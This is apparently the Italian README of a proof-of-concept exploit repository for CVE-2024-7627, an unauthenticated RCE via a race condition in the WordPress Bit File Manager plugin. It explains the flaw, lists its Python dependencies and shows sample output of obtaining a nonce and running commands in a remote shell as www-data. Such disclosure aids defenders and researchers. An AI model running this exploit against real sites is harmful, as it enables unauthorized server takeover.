
POC CVE-2024-7627
Questo repository contiene un exploit proof-of-concept (PoC) per CVE-2024-7627, una vulnerabilità critica di Esecuzione Remota di Codice (RCE) non autenticata nel plugin WordPress Bit File Manager (versioni 6.0 – 6.5.5).
Quando la funzione Guest User Read è abilitata, il plugin espone una race condition all'interno della funzione checkSyntax.
Questa funzione scrive un file PHP temporaneo in /wp-content/uploads/ prima della validazione, permettendo agli attaccanti di richiedere il file ed eseguire comandi arbitrari di sistema.
requests, aiohttp, asyncio, beautifulsoup4Installa le dipendenze:
pip install requests aiohttp beautifulsoup4
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: 65a1d91c63
[*] Getting a random file hash...
[+] Starting interactive shell. Type 'exit' to quit.
lab-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
lab-shell> uname -a
Linux victim-wp 5.15.0-78-generic #85-Ubuntu SMP x86_64 GNU/Linux
lab-shell> whoami
www-data